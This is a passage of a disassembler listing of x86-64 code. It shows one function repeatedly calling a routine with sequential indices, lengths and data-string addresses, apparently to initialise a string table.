0040e55d	48 8d 35 d0 8d 01 00	LEA RSI,[DAT_00427334]
0040e564	e8 91 f3 ff ff	CALL FUN_0040d8fa
0040e569	ba 07 00 00 00	MOV EDX,0x7
0040e56e	bf 64 00 00 00	MOV EDI,0x64
0040e573	48 8d 35 c5 8d 01 00	LEA RSI,[DAT_0042733f]
0040e57a	e8 7b f3 ff ff	CALL FUN_0040d8fa
0040e57f	ba 05 00 00 00	MOV EDX,0x5
0040e584	bf 65 00 00 00	MOV EDI,0x65
0040e589	48 8d 35 b7 8d 01 00	LEA RSI,[DAT_00427347]
0040e590	e8 65 f3 ff ff	CALL FUN_0040d8fa
0040e595	ba 09 00 00 00	MOV EDX,0x9
0040e59a	bf 66 00 00 00	MOV EDI,0x66
0040e59f	48 8d 35 a7 8d 01 00	LEA RSI,[DAT_0042734d]
0040e5a6	e8 4f f3 ff ff	CALL FUN_0040d8fa
0040e5ab	ba 07 00 00 00	MOV EDX,0x7
0040e5b0	bf 67 00 00 00	MOV EDI,0x67
0040e5b5	48 8d 35 9b 8d 01 00	LEA RSI,[DAT_00427357]
0040e5bc	e8 39 f3 ff ff	CALL FUN_0040d8fa
0040e5c1	ba 08 00 00 00	MOV EDX,0x8
0040e5c6	bf 68 00 00 00	MOV EDI,0x68
0040e5cb	48 8d 35 8d 8d 01 00	LEA RSI,[DAT_0042735f]
0040e5d2	e8 23 f3 ff ff	CALL FUN_0040d8fa
0040e5d7	ba 0e 00 00 00	MOV EDX,0xe
0040e5dc	bf 69 00 00 00	MOV EDI,0x69
0040e5e1	48 8d 35 80 8d 01 00	LEA RSI,[DAT_00427368]
0040e5e8	e8 0d f3 ff ff	CALL FUN_0040d8fa
0040e5ed	ba 0f 00 00 00	MOV EDX,0xf
0040e5f2	bf 6a 00 00 00	MOV EDI,0x6a
0040e5f7	48 8d 35 79 8d 01 00	LEA RSI,[DAT_00427377]
0040e5fe	e8 f7 f2 ff ff	CALL FUN_0040d8fa
0040e603	ba 09 00 00 00	MOV EDX,0x9
0040e608	bf 6b 00 00 00	MOV EDI,0x6b
0040e60d	48 8d 35 73 8d 01 00	LEA RSI,[DAT_00427387]
0040e614	e8 e1 f2 ff ff	CALL FUN_0040d8fa
0040e619	ba 1d 00 00 00	MOV EDX,0x1d
0040e61e	bf 6c 00 00 00	MOV EDI,0x6c
0040e623	48 8d 35 67 8d 01 00	LEA RSI,[DAT_00427391]
0040e62a	e8 cb f2 ff ff	CALL FUN_0040d8fa
0040e62f	ba 07 00 00 00	MOV EDX,0x7
0040e634	bf 6d 00 00 00	MOV EDI,0x6d
0040e639	48 8d 35 6f 8d 01 00	LEA RSI,[DAT_004273af]
0040e640	e8 b5 f2 ff ff	CALL FUN_0040d8fa
0040e645	ba 0e 00 00 00	MOV EDX,0xe
0040e64a	bf 6e 00 00 00	MOV EDI,0x6e
0040e64f	48 8d 35 61 8d 01 00	LEA RSI,[DAT_004273b7]
0040e656	e8 9f f2 ff ff	CALL FUN_0040d8fa
0040e65b	ba 11 00 00 00	MOV EDX,0x11
0040e660	bf 6f 00 00 00	MOV EDI,0x6f
0040e665	48 8d 35 5a 8d 01 00	LEA RSI,[DAT_004273c6]
0040e66c	e8 89 f2 ff ff	CALL FUN_0040d8fa
0040e671	ba 14 00 00 00	MOV EDX,0x14
0040e676	bf 70 00 00 00	MOV EDI,0x70
0040e67b	48 8d 35 56 8d 01 00	LEA RSI,[DAT_004273d8]
0040e682	e8 73 f2 ff ff	CALL FUN_0040d8fa
0040e687	ba 06 00 00 00	MOV EDX,0x6
0040e68c	bf 71 00 00 00	MOV EDI,0x71
0040e691	48 8d 35 55 8d 01 00	LEA RSI,[DAT_004273ed]
0040e698	e8 5d f2 ff ff	CALL FUN_0040d8fa
0040e69d	ba 0d 00 00 00	MOV EDX,0xd
0040e6a2	bf 72 00 00 00	MOV EDI,0x72
0040e6a7	48 8d 35 46 8d 01 00	LEA RSI,[DAT_004273f4]
0040e6ae	e8 47 f2 ff ff	CALL FUN_0040d8fa
0040e6b3	ba 0e 00 00 00	MOV EDX,0xe
0040e6b8	bf 73 00 00 00	MOV EDI,0x73
0040e6bd	48 8d 35 3e 8d 01 00	LEA RSI,[DAT_00427402]
0040e6c4	e8 31 f2 ff ff	CALL FUN_0040d8fa
0040e6c9	ba 0e 00 00 00	MOV EDX,0xe
0040e6ce	bf 74 00 00 00	MOV EDI,0x74
0040e6d3	48 8d 35 37 8d 01 00	LEA RSI,[DAT_00427411]
0040e6da	e8 1b f2 ff ff	CALL FUN_0040d8fa
0040e6df	ba 07 00 00 00	MOV EDX,0x7
0040e6e4	bf 75 00 00 00	MOV EDI,0x75
0040e6e9	48 8d 35 30 8d 01 00	LEA RSI,[DAT_00427420]
0040e6f0	e8 05 f2 ff ff	CALL FUN_0040d8fa
0040e6f5	ba 06 00 00 00	MOV EDX,0x6
0040e6fa	bf 76 00 00 00	MOV EDI,0x76
0040e6ff	48 8d 35 22 8d 01 00	LEA RSI,[DAT_00427428]
0040e706	e8 ef f1 ff ff	CALL FUN_0040d8fa
0040e70b	4c 89 ee	MOV RSI,R13
0040e70e	ba 07 00 00 00	MOV EDX,0x7
0040e713	bf 77 00 00 00	MOV EDI,0x77
0040e718	e8 dd f1 ff ff	CALL FUN_0040d8fa
0040e71d	ba 06 00 00 00	MOV EDX,0x6
0040e722	bf 78 00 00 00	MOV EDI,0x78
0040e727	48 8d 35 09 8d 01 00	LEA RSI,[DAT_00427437]
0040e72e	e8 c7 f1 ff ff	CALL FUN_0040d8fa
0040e733	ba 06 00 00 00	MOV EDX,0x6
0040e738	bf 79 00 00 00	MOV EDI,0x79
0040e73d	48 8d 35 fa 8c 01 00	LEA RSI,[DAT_0042743e]
0040e744	e8 b1 f1 ff ff	CALL FUN_0040d8fa
0040e749	ba 06 00 00 00	MOV EDX,0x6
0040e74e	bf 7a 00 00 00	MOV EDI,0x7a
0040e753	48 8d 35 eb 8c 01 00	LEA RSI,[DAT_00427445]
0040e75a	e8 9b f1 ff ff	CALL FUN_0040d8fa
0040e75f	ba 06 00 00 00	MOV EDX,0x6
0040e764	bf 7b 00 00 00	MOV EDI,0x7b
0040e769	48 8d 35 dc 8c 01 00	LEA RSI,[DAT_0042744c]
0040e770	e8 85 f1 ff ff	CALL FUN_0040d8fa
0040e775	ba 06 00 00 00	MOV EDX,0x6
0040e77a	bf 7c 00 00 00	MOV EDI,0x7c
0040e77f	48 8d 35 cd 8c 01 00	LEA RSI,[DAT_00427453]
0040e786	e8 6f f1 ff ff	CALL FUN_0040d8fa
0040e78b	ba 06 00 00 00	MOV EDX,0x6
0040e790	bf 7d 00 00 00	MOV EDI,0x7d
0040e795	48 8d 35 be 8c 01 00	LEA RSI,[DAT_0042745a]
0040e79c	e8 59 f1 ff ff	CALL FUN_0040d8fa
0040e7a1	ba 07 00 00 00	MOV EDX,0x7
0040e7a6	bf 7e 00 00 00	MOV EDI,0x7e
0040e7ab	48 8d 35 af 8c 01 00	LEA RSI,[DAT_00427461]
0040e7b2	e8 43 f1 ff ff	CALL FUN_0040d8fa
0040e7b7	ba 08 00 00 00	MOV EDX,0x8
0040e7bc	bf 7f 00 00 00	MOV EDI,0x7f
0040e7c1	48 8d 35 a1 8c 01 00	LEA RSI,[DAT_00427469]
0040e7c8	e8 2d f1 ff ff	CALL FUN_0040d8fa
0040e7cd	ba 06 00 00 00	MOV EDX,0x6
0040e7d2	bf 80 00 00 00	MOV EDI,0x80
0040e7d7	48 8d 35 94 8c 01 00	LEA RSI,[DAT_00427472]
0040e7de	e8 17 f1 ff ff	CALL FUN_0040d8fa
0040e7e3	ba 0a 00 00 00	MOV EDX,0xa
0040e7e8	bf 81 00 00 00	MOV EDI,0x81
0040e7ed	48 8d 35 85 8c 01 00	LEA RSI,[DAT_00427479]
0040e7f4	e8 01 f1 ff ff	CALL FUN_0040d8fa
0040e7f9	ba 0a 00 00 00	MOV EDX,0xa
0040e7fe	bf 82 00 00 00	MOV EDI,0x82
0040e803	48 8d 35 7a 8c 01 00	LEA RSI,[DAT_00427484]
0040e80a	e8 eb f0 ff ff	CALL FUN_0040d8fa
0040e80f	ba 0a 00 00 00	MOV EDX,0xa
0040e814	bf 83 00 00 00	MOV EDI,0x83
0040e819	48 8d 35 6f 8c 01 00	LEA RSI,[DAT_0042748f]
0040e820	e8 d5 f0 ff ff	CALL FUN_0040d8fa
0040e825	ba 0c 00 00 00	MOV EDX,0xc
0040e82a	bf 84 00 00 00	MOV EDI,0x84
0040e82f	48 8d 35 64 8c 01 00	LEA RSI,[DAT_0042749a]
0040e836	e8 bf f0 ff ff	CALL FUN_0040d8fa
0040e83b	ba 0c 00 00 00	MOV EDX,0xc
0040e840	bf 85 00 00 00	MOV EDI,0x85
0040e845	48 8d 35 5b 8c 01 00	LEA RSI,[DAT_004274a7]
0040e84c	e8 a9 f0 ff ff	CALL FUN_0040d8fa
0040e851	ba 0a 00 00 00	MOV EDX,0xa
0040e856	bf 86 00 00 00	MOV EDI,0x86
0040e85b	48 8d 35 52 8c 01 00	LEA RSI,[DAT_004274b4]
0040e862	e8 93 f0 ff ff	CALL FUN_0040d8fa
0040e867	ba 05 00 00 00	MOV EDX,0x5
0040e86c	bf 87 00 00 00	MOV EDI,0x87
0040e871	48 8d 35 47 8c 01 00	LEA RSI,[DAT_004274bf]
0040e878	e8 7d f0 ff ff	CALL FUN_0040d8fa
0040e87d	4c 89 f6	MOV RSI,R14
0040e880	ba 08 00 00 00	MOV EDX,0x8
0040e885	bf 88 00 00 00	MOV EDI,0x88
0040e88a	e8 6b f0 ff ff	CALL FUN_0040d8fa
0040e88f	ba 09 00 00 00	MOV EDX,0x9
0040e894	bf 89 00 00 00	MOV EDI,0x89
0040e899	48 8d 35 2e 8c 01 00	LEA RSI,[DAT_004274ce]
0040e8a0	e8 55 f0 ff ff	CALL FUN_0040d8fa
0040e8a5	ba 0a 00 00 00	MOV EDX,0xa
0040e8aa	bf 8a 00 00 00	MOV EDI,0x8a
0040e8af	48 8d 35 bc 99 01 00	LEA RSI,[DAT_00428272]
0040e8b6	e8 3f f0 ff ff	CALL FUN_0040d8fa
0040e8bb	ba 0a 00 00 00	MOV EDX,0xa
0040e8c0	bf 8b 00 00 00	MOV EDI,0x8b
0040e8c5	48 8d 35 0c 8c 01 00	LEA RSI,[DAT_004274d8]
0040e8cc	e8 29 f0 ff ff	CALL FUN_0040d8fa
0040e8d1	ba 05 00 00 00	MOV EDX,0x5
0040e8d6	bf 8c 00 00 00	MOV EDI,0x8c
0040e8db	48 8d 35 01 8c 01 00	LEA RSI,[DAT_004274e3]
0040e8e2	e8 13 f0 ff ff	CALL FUN_0040d8fa
0040e8e7	ba 08 00 00 00	MOV EDX,0x8
0040e8ec	bf 8d 00 00 00	MOV EDI,0x8d
0040e8f1	48 8d 35 f1 8b 01 00	LEA RSI,[DAT_004274e9]
0040e8f8	e8 fd ef ff ff	CALL FUN_0040d8fa
0040e8fd	ba 0a 00 00 00	MOV EDX,0xa
0040e902	bf 8e 00 00 00	MOV EDI,0x8e
0040e907	48 8d 35 e4 8b 01 00	LEA RSI,[DAT_004274f2]
0040e90e	e8 e7 ef ff ff	CALL FUN_0040d8fa
0040e913	ba 06 00 00 00	MOV EDX,0x6
0040e918	bf 8f 00 00 00	MOV EDI,0x8f
0040e91d	48 8d 35 d9 8b 01 00	LEA RSI,[DAT_004274fd]
0040e924	e8 d1 ef ff ff	CALL FUN_0040d8fa
0040e929	ba 05 00 00 00	MOV EDX,0x5
0040e92e	bf 90 00 00 00	MOV EDI,0x90
0040e933	48 8d 35 43 99 01 00	LEA RSI,[DAT_0042827d]
0040e93a	e8 bb ef ff ff	CALL FUN_0040d8fa
0040e93f	ba 0b 00 00 00	MOV EDX,0xb
0040e944	bf 91 00 00 00	MOV EDI,0x91
0040e949	48 8d 35 b4 8b 01 00	LEA RSI,[DAT_00427504]
0040e950	e8 a5 ef ff ff	CALL FUN_0040d8fa
0040e955	ba 0a 00 00 00	MOV EDX,0xa
0040e95a	bf 92 00 00 00	MOV EDI,0x92
0040e95f	48 8d 35 aa 8b 01 00	LEA RSI,[DAT_00427510]
0040e966	e8 8f ef ff ff	CALL FUN_0040d8fa
0040e96b	ba 07 00 00 00	MOV EDX,0x7
0040e970	bf 93 00 00 00	MOV EDI,0x93
0040e975	48 8d 35 9f 8b 01 00	LEA RSI,[DAT_0042751b]
0040e97c	e8 79 ef ff ff	CALL FUN_0040d8fa
0040e981	ba 07 00 00 00	MOV EDX,0x7
0040e986	bf 94 00 00 00	MOV EDI,0x94
0040e98b	48 8d 35 91 8b 01 00	LEA RSI,[DAT_00427523]
0040e992	e8 63 ef ff ff	CALL FUN_0040d8fa
0040e997	ba 08 00 00 00	MOV EDX,0x8
0040e99c	bf 95 00 00 00	MOV EDI,0x95
0040e9a1	48 8d 35 83 8b 01 00	LEA RSI,[DAT_0042752b]
0040e9a8	e8 4d ef ff ff	CALL FUN_0040d8fa
0040e9ad	ba 08 00 00 00	MOV EDX,0x8
0040e9b2	bf 96 00 00 00	MOV EDI,0x96
0040e9b7	48 8d 35 76 8b 01 00	LEA RSI,[DAT_00427534]
0040e9be	e8 37 ef ff ff	CALL FUN_0040d8fa
0040e9c3	ba 03 00 00 00	MOV EDX,0x3
0040e9c8	bf 97 00 00 00	MOV EDI,0x97
0040e9cd	48 8d 35 69 8b 01 00	LEA RSI,[DAT_0042753d]
0040e9d4	e8 21 ef ff ff	CALL FUN_0040d8fa
0040e9d9	ba 0c 00 00 00	MOV EDX,0xc
0040e9de	bf 98 00 00 00	MOV EDI,0x98
0040e9e3	48 8d 35 57 8b 01 00	LEA RSI,[DAT_00427541]
0040e9ea	e8 0b ef ff ff	CALL FUN_0040d8fa
0040e9ef	ba 0b 00 00 00	MOV EDX,0xb
0040e9f4	bf 99 00 00 00	MOV EDI,0x99
0040e9f9	48 8d 35 83 98 01 00	LEA RSI,[DAT_00428283]
0040ea00	e8 f5 ee ff ff	CALL FUN_0040d8fa
0040ea05	ba 08 00 00 00	MOV EDX,0x8
0040ea0a	bf 9a 00 00 00	MOV EDI,0x9a
0040ea0f	48 8d 35 38 8b 01 00	LEA RSI,[DAT_0042754e]
0040ea16	e8 df ee ff ff	CALL FUN_0040d8fa
0040ea1b	ba 10 00 00 00	MOV EDX,0x10
0040ea20	bf 9b 00 00 00	MOV EDI,0x9b
0040ea25	48 8d 35 2b 8b 01 00	LEA RSI,[DAT_00427557]
0040ea2c	e8 c9 ee ff ff	CALL FUN_0040d8fa
0040ea31	ba 09 00 00 00	MOV EDX,0x9
0040ea36	bf 9c 00 00 00	MOV EDI,0x9c
0040ea3b	48 8d 35 26 8b 01 00	LEA RSI,[DAT_00427568]
0040ea42	e8 b3 ee ff ff	CALL FUN_0040d8fa
0040ea47	ba 10 00 00 00	MOV EDX,0x10
0040ea4c	bf 9d 00 00 00	MOV EDI,0x9d
0040ea51	48 8d 35 1a 8b 01 00	LEA RSI,[DAT_00427572]
0040ea58	e8 9d ee ff ff	CALL FUN_0040d8fa
0040ea5d	ba 05 00 00 00	MOV EDX,0x5
0040ea62	bf 9e 00 00 00	MOV EDI,0x9e
0040ea67	48 8d 35 15 8b 01 00	LEA RSI,[DAT_00427583]
0040ea6e	e8 87 ee ff ff	CALL FUN_0040d8fa
0040ea73	ba 10 00 00 00	MOV EDX,0x10
0040ea78	bf 9f 00 00 00	MOV EDI,0x9f
0040ea7d	48 8d 35 05 8b 01 00	LEA RSI,[DAT_00427589]
0040ea84	e8 71 ee ff ff	CALL FUN_0040d8fa
0040ea89	ba 10 00 00 00	MOV EDX,0x10
0040ea8e	bf a0 00 00 00	MOV EDI,0xa0
0040ea93	48 8d 35 00 8b 01 00	LEA RSI,[DAT_0042759a]
0040ea9a	e8 5b ee ff ff	CALL FUN_0040d8fa
0040ea9f	ba 08 00 00 00	MOV EDX,0x8
0040eaa4	bf a1 00 00 00	MOV EDI,0xa1
0040eaa9	48 8d 35 fb 8a 01 00	LEA RSI,[DAT_004275ab]
0040eab0	e8 45 ee ff ff	CALL FUN_0040d8fa
0040eab5	ba 0e 00 00 00	MOV EDX,0xe
0040eaba	bf a2 00 00 00	MOV EDI,0xa2
0040eabf	48 8d 35 ee 8a 01 00	LEA RSI,[DAT_004275b4]
0040eac6	e8 2f ee ff ff	CALL FUN_0040d8fa
0040eacb	ba 06 00 00 00	MOV EDX,0x6
0040ead0	bf a3 00 00 00	MOV EDI,0xa3
0040ead5	48 8d 35 e7 8a 01 00	LEA RSI,[DAT_004275c3]
0040eadc	e8 19 ee ff ff	CALL FUN_0040d8fa
0040eae1	ba 05 00 00 00	MOV EDX,0x5
0040eae6	bf a4 00 00 00	MOV EDI,0xa4
0040eaeb	48 8d 35 d8 8a 01 00	LEA RSI,[DAT_004275ca]
0040eaf2	e8 03 ee ff ff	CALL FUN_0040d8fa
0040eaf7	ba 07 00 00 00	MOV EDX,0x7
0040eafc	bf a5 00 00 00	MOV EDI,0xa5
0040eb01	48 8d 35 c8 8a 01 00	LEA RSI,[DAT_004275d0]
0040eb08	e8 ed ed ff ff	CALL FUN_0040d8fa
0040eb0d	ba 0a 00 00 00	MOV EDX,0xa
0040eb12	bf a6 00 00 00	MOV EDI,0xa6
0040eb17	48 8d 35 ba 8a 01 00	LEA RSI,[DAT_004275d8]
0040eb1e	e8 d7 ed ff ff	CALL FUN_0040d8fa
0040eb23	ba 06 00 00 00	MOV EDX,0x6
0040eb28	bf a7 00 00 00	MOV EDI,0xa7
0040eb2d	48 8d 35 af 8a 01 00	LEA RSI,[DAT_004275e3]
0040eb34	e8 c1 ed ff ff	CALL FUN_0040d8fa
0040eb39	ba 06 00 00 00	MOV EDX,0x6
0040eb3e	bf a8 00 00 00	MOV EDI,0xa8
0040eb43	48 8d 35 a0 8a 01 00	LEA RSI,[DAT_004275ea]
0040eb4a	e8 ab ed ff ff	CALL FUN_0040d8fa
0040eb4f	ba 06 00 00 00	MOV EDX,0x6
0040eb54	bf a9 00 00 00	MOV EDI,0xa9
0040eb59	48 8d 35 91 8a 01 00	LEA RSI,[DAT_004275f1]
0040eb60	e8 95 ed ff ff	CALL FUN_0040d8fa
0040eb65	ba 06 00 00 00	MOV EDX,0x6
0040eb6a	bf aa 00 00 00	MOV EDI,0xaa
0040eb6f	48 8d 35 82 8a 01 00	LEA RSI,[DAT_004275f8]
0040eb76	e8 7f ed ff ff	CALL FUN_0040d8fa
0040eb7b	ba 06 00 00 00	MOV EDX,0x6
0040eb80	bf ab 00 00 00	MOV EDI,0xab
0040eb85	48 8d 35 73 8a 01 00	LEA RSI,[DAT_004275ff]
0040eb8c	e8 69 ed ff ff	CALL FUN_0040d8fa
0040eb91	ba 08 00 00 00	MOV EDX,0x8
0040eb96	bf ac 00 00 00	MOV EDI,0xac
0040eb9b	48 8d 35 64 8a 01 00	LEA RSI,[DAT_00427606]
0040eba2	e8 53 ed ff ff	CALL FUN_0040d8fa
0040eba7	ba 07 00 00 00	MOV EDX,0x7
0040ebac	bf ad 00 00 00	MOV EDI,0xad
0040ebb1	48 8d 35 57 8a 01 00	LEA RSI,[DAT_0042760f]
0040ebb8	e8 3d ed ff ff	CALL FUN_0040d8fa
0040ebbd	ba 06 00 00 00	MOV EDX,0x6
0040ebc2	bf ae 00 00 00	MOV EDI,0xae
0040ebc7	48 8d 35 49 8a 01 00	LEA RSI,[DAT_00427617]
0040ebce	e8 27 ed ff ff	CALL FUN_0040d8fa
0040ebd3	ba 09 00 00 00	MOV EDX,0x9
0040ebd8	bf af 00 00 00	MOV EDI,0xaf
0040ebdd	48 8d 35 3a 8a 01 00	LEA RSI,[DAT_0042761e]
0040ebe4	e8 11 ed ff ff	CALL FUN_0040d8fa
0040ebe9	ba 08 00 00 00	MOV EDX,0x8
0040ebee	bf b0 00 00 00	MOV EDI,0xb0
0040ebf3	48 8d 35 2e 8a 01 00	LEA RSI,[DAT_00427628]
0040ebfa	e8 fb ec ff ff	CALL FUN_0040d8fa
0040ebff	ba 06 00 00 00	MOV EDX,0x6
0040ec04	bf b1 00 00 00	MOV EDI,0xb1
0040ec09	48 8d 35 21 8a 01 00	LEA RSI,[DAT_00427631]
0040ec10	e8 e5 ec ff ff	CALL FUN_0040d8fa
0040ec15	ba 07 00 00 00	MOV EDX,0x7
0040ec1a	bf b2 00 00 00	MOV EDI,0xb2
0040ec1f	48 8d 35 12 8a 01 00	LEA RSI,[DAT_00427638]
0040ec26	e8 cf ec ff ff	CALL FUN_0040d8fa
0040ec2b	ba 08 00 00 00	MOV EDX,0x8
0040ec30	bf b3 00 00 00	MOV EDI,0xb3
0040ec35	48 8d 35 04 8a 01 00	LEA RSI,[DAT_00427640]
0040ec3c	e8 b9 ec ff ff	CALL FUN_0040d8fa
0040ec41	ba 05 00 00 00	MOV EDX,0x5
0040ec46	bf b4 00 00 00	MOV EDI,0xb4
0040ec4b	48 8d 35 f7 89 01 00	LEA RSI,[DAT_00427649]
0040ec52	e8 a3 ec ff ff	CALL FUN_0040d8fa
0040ec57	ba 09 00 00 00	MOV EDX,0x9
0040ec5c	bf b5 00 00 00	MOV EDI,0xb5
0040ec61	48 8d 35 e7 89 01 00	LEA RSI,[DAT_0042764f]
0040ec68	e8 8d ec ff ff	CALL FUN_0040d8fa
0040ec6d	4c 89 f6	MOV RSI,R14
0040ec70	ba 08 00 00 00	MOV EDX,0x8
0040ec75	bf b6 00 00 00	MOV EDI,0xb6
0040ec7a	e8 7b ec ff ff	CALL FUN_0040d8fa
0040ec7f	ba 05 00 00 00	MOV EDX,0x5
0040ec84	48 8d 35 ce 89 01 00	LEA RSI,[DAT_00427659]
0040ec8b	bf b7 00 00 00	MOV EDI,0xb7
0040ec90	e8 65 ec ff ff	CALL FUN_0040d8fa
0040ec95	ba 08 00 00 00	MOV EDX,0x8
0040ec9a	48 8d 35 be 89 01 00	LEA RSI,[DAT_0042765f]
0040eca1	bf b8 00 00 00	MOV EDI,0xb8
0040eca6	e8 4f ec ff ff	CALL FUN_0040d8fa
0040ecab	ba 06 00 00 00	MOV EDX,0x6
0040ecb0	48 8d 35 b1 89 01 00	LEA RSI,[DAT_00427668]
0040ecb7	bf b9 00 00 00	MOV EDI,0xb9
0040ecbc	e8 39 ec ff ff	CALL FUN_0040d8fa
0040ecc1	ba 07 00 00 00	MOV EDX,0x7
0040ecc6	48 8d 35 a2 89 01 00	LEA RSI,[DAT_0042766f]
0040eccd	bf ba 00 00 00	MOV EDI,0xba
0040ecd2	e8 23 ec ff ff	CALL FUN_0040d8fa
0040ecd7	ba 0a 00 00 00	MOV EDX,0xa
0040ecdc	48 8d 35 94 89 01 00	LEA RSI,[DAT_00427677]
0040ece3	bf bb 00 00 00	MOV EDI,0xbb
0040ece8	e8 0d ec ff ff	CALL FUN_0040d8fa
0040eced	ba 07 00 00 00	MOV EDX,0x7
0040ecf2	48 8d 35 89 89 01 00	LEA RSI,[DAT_00427682]
0040ecf9	bf bc 00 00 00	MOV EDI,0xbc
0040ecfe	e8 f7 eb ff ff	CALL FUN_0040d8fa
0040ed03	ba 05 00 00 00	MOV EDX,0x5
0040ed08	48 8d 35 7b 89 01 00	LEA RSI,[DAT_0042768a]
0040ed0f	bf bd 00 00 00	MOV EDI,0xbd
0040ed14	e8 e1 eb ff ff	CALL FUN_0040d8fa
0040ed19	ba 0b 00 00 00	MOV EDX,0xb
0040ed1e	48 8d 35 6b 89 01 00	LEA RSI,[DAT_00427690]
0040ed25	bf be 00 00 00	MOV EDI,0xbe
0040ed2a	e8 cb eb ff ff	CALL FUN_0040d8fa
0040ed2f	ba 0d 00 00 00	MOV EDX,0xd
0040ed34	48 8d 35 61 89 01 00	LEA RSI,[DAT_0042769c]
0040ed3b	bf c0 00 00 00	MOV EDI,0xc0
0040ed40	e8 b5 eb ff ff	CALL FUN_0040d8fa
0040ed45	ba 07 00 00 00	MOV EDX,0x7
0040ed4a	48 8d 35 59 89 01 00	LEA RSI,[DAT_004276aa]
0040ed51	bf c1 00 00 00	MOV EDI,0xc1
0040ed56	e8 9f eb ff ff	CALL FUN_0040d8fa
0040ed5b	ba 05 00 00 00	MOV EDX,0x5
0040ed60	48 8d 35 4b 89 01 00	LEA RSI,[DAT_004276b2]
0040ed67	bf c2 00 00 00	MOV EDI,0xc2
0040ed6c	e8 89 eb ff ff	CALL FUN_0040d8fa
0040ed71	ba 03 00 00 00	MOV EDX,0x3
0040ed76	48 8d 35 3b 89 01 00	LEA RSI,[DAT_004276b8]
0040ed7d	bf c3 00 00 00	MOV EDI,0xc3
0040ed82	e8 73 eb ff ff	CALL FUN_0040d8fa
0040ed87	ba 04 00 00 00	MOV EDX,0x4
0040ed8c	48 8d 35 2a 89 01 00	LEA RSI,[DAT_004276bd]
0040ed93	bf c4 00 00 00	MOV EDI,0xc4
0040ed98	e8 5d eb ff ff	CALL FUN_0040d8fa
0040ed9d	ba 04 00 00 00	MOV EDX,0x4
0040eda2	48 8d 35 1a 89 01 00	LEA RSI,[DAT_004276c3]
0040eda9	bf c5 00 00 00	MOV EDI,0xc5
0040edae	e8 47 eb ff ff	CALL FUN_0040d8fa
0040edb3	ba 05 00 00 00	MOV EDX,0x5
0040edb8	48 8d 35 0a 89 01 00	LEA RSI,[DAT_004276c9]
0040edbf	bf c6 00 00 00	MOV EDI,0xc6
0040edc4	e8 31 eb ff ff	CALL FUN_0040d8fa
0040edc9	ba 04 00 00 00	MOV EDX,0x4
0040edce	48 8d 35 fb 88 01 00	LEA RSI,[DAT_004276d0]
0040edd5	bf c7 00 00 00	MOV EDI,0xc7
0040edda	e8 1b eb ff ff	CALL FUN_0040d8fa
0040eddf	ba 04 00 00 00	MOV EDX,0x4
0040ede4	48 8d 35 eb 88 01 00	LEA RSI,[DAT_004276d6]
0040edeb	bf c8 00 00 00	MOV EDI,0xc8
0040edf0	e8 05 eb ff ff	CALL FUN_0040d8fa
0040edf5	ba 04 00 00 00	MOV EDX,0x4
0040edfa	48 8d 35 db 88 01 00	LEA RSI,[DAT_004276dc]
0040ee01	bf c9 00 00 00	MOV EDI,0xc9
0040ee06	e8 ef ea ff ff	CALL FUN_0040d8fa
0040ee0b	ba 08 00 00 00	MOV EDX,0x8
0040ee10	48 8d 35 cb 88 01 00	LEA RSI,[DAT_004276e2]
0040ee17	bf ca 00 00 00	MOV EDI,0xca
0040ee1c	e8 d9 ea ff ff	CALL FUN_0040d8fa
0040ee21	ba 03 00 00 00	MOV EDX,0x3
0040ee26	48 8d 35 be 88 01 00	LEA RSI,[DAT_004276eb]
0040ee2d	bf cb 00 00 00	MOV EDI,0xcb
0040ee32	e8 c3 ea ff ff	CALL FUN_0040d8fa
0040ee37	ba 03 00 00 00	MOV EDX,0x3
0040ee3c	48 8d 35 ad 88 01 00	LEA RSI,[DAT_004276f0]
0040ee43	bf cc 00 00 00	MOV EDI,0xcc
0040ee48	e8 ad ea ff ff	CALL FUN_0040d8fa
0040ee4d	ba 07 00 00 00	MOV EDX,0x7
0040ee52	48 8d 35 9b 88 01 00	LEA RSI,[DAT_004276f4]
0040ee59	bf cd 00 00 00	MOV EDI,0xcd
0040ee5e	e8 97 ea ff ff	CALL FUN_0040d8fa
0040ee63	ba 04 00 00 00	MOV EDX,0x4
0040ee68	48 8d 35 8d 88 01 00	LEA RSI,[DAT_004276fc]
0040ee6f	bf cf 00 00 00	MOV EDI,0xcf
0040ee74	e8 81 ea ff ff	CALL FUN_0040d8fa
0040ee79	4c 89 ee	MOV RSI,R13
0040ee7c	ba 07 00 00 00	MOV EDX,0x7
0040ee81	bf ce 00 00 00	MOV EDI,0xce
0040ee86	e8 6f ea ff ff	CALL FUN_0040d8fa
0040ee8b	ba 08 00 00 00	MOV EDX,0x8
0040ee90	48 8d 35 6a 88 01 00	LEA RSI,[DAT_00427701]
0040ee97	bf d0 00 00 00	MOV EDI,0xd0
0040ee9c	e8 59 ea ff ff	CALL FUN_0040d8fa
0040eea1	ba 05 00 00 00	MOV EDX,0x5
0040eea6	48 8d 35 5d 88 01 00	LEA RSI,[DAT_0042770a]
0040eead	bf d1 00 00 00	MOV EDI,0xd1
0040eeb2	e8 43 ea ff ff	CALL FUN_0040d8fa
0040eeb7	ba 04 00 00 00	MOV EDX,0x4
0040eebc	48 8d 35 4d 88 01 00	LEA RSI,[DAT_00427710]
0040eec3	bf d2 00 00 00	MOV EDI,0xd2
0040eec8	e8 2d ea ff ff	CALL FUN_0040d8fa
0040eecd	ba 0b 00 00 00	MOV EDX,0xb
0040eed2	48 8d 35 3c 88 01 00	LEA RSI,[DAT_00427715]
0040eed9	bf d3 00 00 00	MOV EDI,0xd3
0040eede	e8 17 ea ff ff	CALL FUN_0040d8fa
0040eee3	ba 06 00 00 00	MOV EDX,0x6
0040eee8	48 8d 35 32 88 01 00	LEA RSI,[DAT_00427721]
0040eeef	bf d4 00 00 00	MOV EDI,0xd4
0040eef4	e8 01 ea ff ff	CALL FUN_0040d8fa
0040eef9	ba 08 00 00 00	MOV EDX,0x8
0040eefe	48 8d 35 23 88 01 00	LEA RSI,[DAT_00427728]
0040ef05	bf d5 00 00 00	MOV EDI,0xd5
0040ef0a	e8 eb e9 ff ff	CALL FUN_0040d8fa
0040ef0f	ba 0f 00 00 00	MOV EDX,0xf
0040ef14	48 8d 35 16 88 01 00	LEA RSI,[DAT_00427731]
0040ef1b	bf d6 00 00 00	MOV EDI,0xd6
0040ef20	e8 d5 e9 ff ff	CALL FUN_0040d8fa
0040ef25	ba 0e 00 00 00	MOV EDX,0xe
0040ef2a	48 8d 35 10 88 01 00	LEA RSI,[DAT_00427741]
0040ef31	bf d7 00 00 00	MOV EDI,0xd7
0040ef36	e8 bf e9 ff ff	CALL FUN_0040d8fa
